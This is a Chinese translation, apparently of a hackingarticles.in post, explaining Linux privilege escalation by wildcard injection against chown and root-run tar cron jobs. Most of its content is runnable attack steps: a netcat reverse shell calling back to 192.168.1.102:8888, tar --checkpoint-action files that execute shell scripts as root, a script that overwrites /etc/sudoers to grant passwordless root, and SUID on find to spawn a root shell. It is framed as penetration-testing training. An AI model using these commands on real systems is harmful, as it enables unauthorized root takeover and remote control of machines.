利用通配符实现Linux本地提权

2018-07-10 6,300

在本文中,我们将为读者介绍一种古老的UNIX黑客技术——“通配符注入”。当目前为止,这仍然是一种非常“好使的”漏洞利用代码投递方法,遗憾的是,许多安全相关人员竟然从没有听说过。不过没关系,阅读本文之后,您一定会惊讶的发现,像tarchown这样的UNIX工具,在黑客手里照样可以用来攻陷整个系统。

 

让我们出发!!!


通配符

通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。

下面是一些常见的通配符:

*     星号可以与文件名中的任意数量的字符匹配,包括0个字符。

 ?     问号用于匹配任意单个字符。

[ ]   括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。

 –     []中的连字符表示字符范围。

~     单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。


第一个示例

读者也许已经了解了通配符符号及其传统用法,但在这里,我们将呈现通配符不为人知的一面,所以,请仔细观察下面的操作步骤。

cd /Desktop

mkdir wild

cd wild

echo "Hello Friends" > file1

echo "This is wildcard Injection" >file2

echo "take help" > --help

 

正如你所看到的,我们在桌面上创建了一个新的目录“wild”,然后在echo命令的帮助下,创建了3个文件,并在每个文件中写入了1行内容。

 

1.png

 

之后,利用cat命令打开这3个文件,具体如下所示:

cat file1

cat file 2

cat --help


但是,前两个文件正常打开,显示的信息与上面写入的信息相同。但是cat命令无法读取写到–help文件内的信息。在打开-help文件时,cat不会显示“take help”,而是利用-help选项调用自己,这种类型的技巧称为Wildcard wildness

 

1.png


通过Chown劫持文件所有者

同样,我们也会尝试在chown命令的帮助下做一些事情。正如我们所知,该命令是变更所有者(change owner)的缩写,在类Unix系统上用于修改文件和目录的所有权,并且,只能超级用户才有权限执行这些操作。假设我们的系统中有三种类型的用户。

超级用户(root)—— 执行管理级任务,例如运行chown命令。

root用户1raj —— 执行普通作业,如创建文件。

root用户2aarti —— 执行普通作业,如创建文件。

恶作剧用户(Ignite —— 执行一些声名狼藉的任务,例如利用Chown劫持文件拥有者等。

在下图中,可以看到所有PHP文件都归用户raj所有。现在,当用户ignite发现所有PHP文件都属于raj后,他通过下面的命令在同一个目录中创建了两个PHP文件,以便为劫持文件的所有者做准备。

        

cd

ls -al

echo "" > my.php

echo > --reference=my.php

 

1.png

 

我们可以看到,大多数文件归用户raj所有,最后两个文件的拥有者是ignite,当超级用户通过通配符修改所有扩展名为PHP的文件的所有权时,所有文件的所有权将被ignite用户所劫持。

图中可以看到,root用户运行chown命令时将所有PHP文件的所有权授予了用户aarti,但是,最后所有PHP文件却自动归到用户ignite的名下。


chown -R aarti:aarti *.php

ls -al


知识点:

如果您曾研究过chown所有的可选开关,就会发现以下选项。

reference=RFILE (使用RFILE的所有者和组,而不是指定OWNERGROUP

在我们的例子中用户ignite执行过以下命令:

        

echo "" > my.php

echo > --reference=my.php

 

然后,root用户在改变所有权时,使用了通配符。问题是,chown命令行中使用的通配符,会将'-reference = .my.php'作为命令选项传递给命令行中的chown命令。

 

1.png

 

通过tar投送漏洞利用代码(第一阶段)

准备工作

下面,我们开始介绍如何利用通配符攻击系统。

Tar是一个非常常见的UNIX程序,可用于创建和提取档案。在它的帮助下,我们能够压缩任何目录的备份。例如,创建一个新目录,并赋予它所有权限,然后,创建一些文件。

  

mkdir html

chmod 777 html

cd html

touch index.html

touch raj

touch file.txt

 

1.png

 

现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。


nano /etc/crontab

*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

 

1.png

 

接下来,通过执行以下命令来验证该任务是否正常工作。


cd /var/backup

ls

 

1.png

 

Tar通配符注入(第一种方法)

权限提升

启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。 

cat /etc/crontab

在这里,我们注意到目标机器每隔1分钟会调度一次tar归档程序,并且我们知道,cron作业是以root身份运行的。下面我们尝试通过通配符来攻击系统。

 

1.png

 

在新终端上使用msfvenom生成含有netcat反向shell的恶意代码,以便反向连接netcat,然后输入以下命令。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R

复制生成的有效载荷并粘贴到受害者的shell中,具体命令如下所述。

 

nc -lvp 8888

1.png

 

现在,按照下面的介绍粘贴上面复制的有效载荷,并在受害者的tty shell中运行以下命令。


echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

1.png

 

上述命令会帮助tar命令在第一个文件归档后运行文件shell.sh。由于tar命令由于crontab而以root身份运行,因此会产生一个netcat shell并将其发送到端口8888上的攻击平台。如果你回到监听器所在的终端窗口,在1分钟后,将会收到受害者的反向连接。

id

whoami

 

知识点:

如果您曾研究过chown所有的可选开关,就会发现以下选项。

checkpoint[=NUMBER] 每个处理指定数量的记录(默认为10),就显示一次进度

 –checkpoint-action=ACTION 在每个检查点上执行ACTION

其中,-checkpoint-action选项用来规定达到检查点时将执行的程序。最重要的是,这允许我们运行任意的命令。 因此,'-checkpoint = 1''-checkpoint-action = exec = sh shell.sh'将作为命令行选项传递给tar程序。

1.png

 

利用tar投送漏洞利用代码(第二阶段)

准备工作

我们知道,实现压缩备份的方法有多种,同时,用于权限提升的技术也很多。在这个阶段,在tar的帮助下,我们将对一个目录进行压缩备份。例如,新建一个待备份的目录,并授予其完整的权限,然后,再创建一些文件。

cd /tmp

mkdir data

cd data

echo "" > f1

echo "" > f2

echo "" > f3

ls

1.png

 

接下来,在其他目录中写入一个bash脚本,用来利用tar程序备份/tmp/data

mkdir info

cd info

nano script.sh

chmod 777 script.sh

1.png

 

#!/bin/bash

cd /tmp/data

tar cf /backup/backup.tgz *

1.png

 

现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。

 

nano /etc/crontab                                  

*/1 *   * * *   root    /info/script.sh

1.png

 

1分钟后,你会注意到backup.tgz文件已经出现在info目录中了。

 

1.png

 

Tar通配符注入

权限提升

启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。

cat /etc/crontab

在这里,我们注意到目标机器每隔1分钟就会调度一个bash程序脚本,同时,我们也知道,cron作业是以root身份运行的。所以,攻击者可以利用tar通配符注入方法,读取位于script.sh内的程序。

1.png

 

现在,我们需要根据前面介绍的方法再次生成netcat反向shell有效载荷。

1.png

 

再次重复上面的步骤,具体如图所示。

1.png

 

然后,回到netcat shell以便接收受害者的反向连接,1分钟后,就能看到受害者的netcat会话了。

whoami

cd /root

pwd

因此,如果攻击对象是通过调度作业或bash脚本来使用tar程序的话,那么很容易被攻陷。

 

1.png

 

Tar通配符注入(第二种方法)

权限提升

一般来说,借助通配符注入攻击,攻击者希望获得系统的最高权限,因此,他会尝试在tar的帮助下,以root身份注入一些恶意代码。当然,获得root访问权限的方法也有多种,比如,我们可以采用下面介绍的技术来提升权限。

假设您能够以为非root用户访问受害者的计算机,然后就可以设法提升权限了,比如获取root访问权限,或者尝试通过添加sudoers文件为非root用户授予sudo权限。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh

echo "" > "--checkpoint-action=exec=sh demo.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

 

在上述命令的帮助下,我们试图为ignite用户授予root权限,并且尝试时间为1分钟。1分钟后,我们成功拥有了root帐户。

sudo -l

sudo bash

whoami

1.png

 

Tar通配符注入(第三种方法)

权限提升

实际上在tar注入的帮助下,特权升级的方式有很多,这里介绍的只是其中很少一部分。假设您在受害者机器上的权限是一个非root用户权限,为了提升权限,可以尝试为任意系统二进制文件启用SUID位,然后利用下面的命令来获取root访问权限。

echo "chmod u+s /usr/bin/find" > test.sh

echo "" > "--checkpoint-action=exec=sh test.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

ls -al /usr/bin/find

find f1 -exec "whoami" \;

root

find f1 -exec "/bin/sh" \;

id

whoami

        

WOOhOOO!!希望上面介绍的技巧对大家的渗透测试工作能够有所帮助。

 

1.png


原文:http://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

Tags:
评论  (0)
快来写下你的想法吧!

mssp299

文章数:7 积分: 75

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号